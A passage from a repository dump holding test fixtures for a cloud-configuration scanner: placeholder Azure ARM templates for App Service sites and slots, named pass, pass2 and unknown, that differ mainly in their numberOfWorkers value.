        \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": 0,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": 2,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": 3,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/unknown.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"unknown\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": 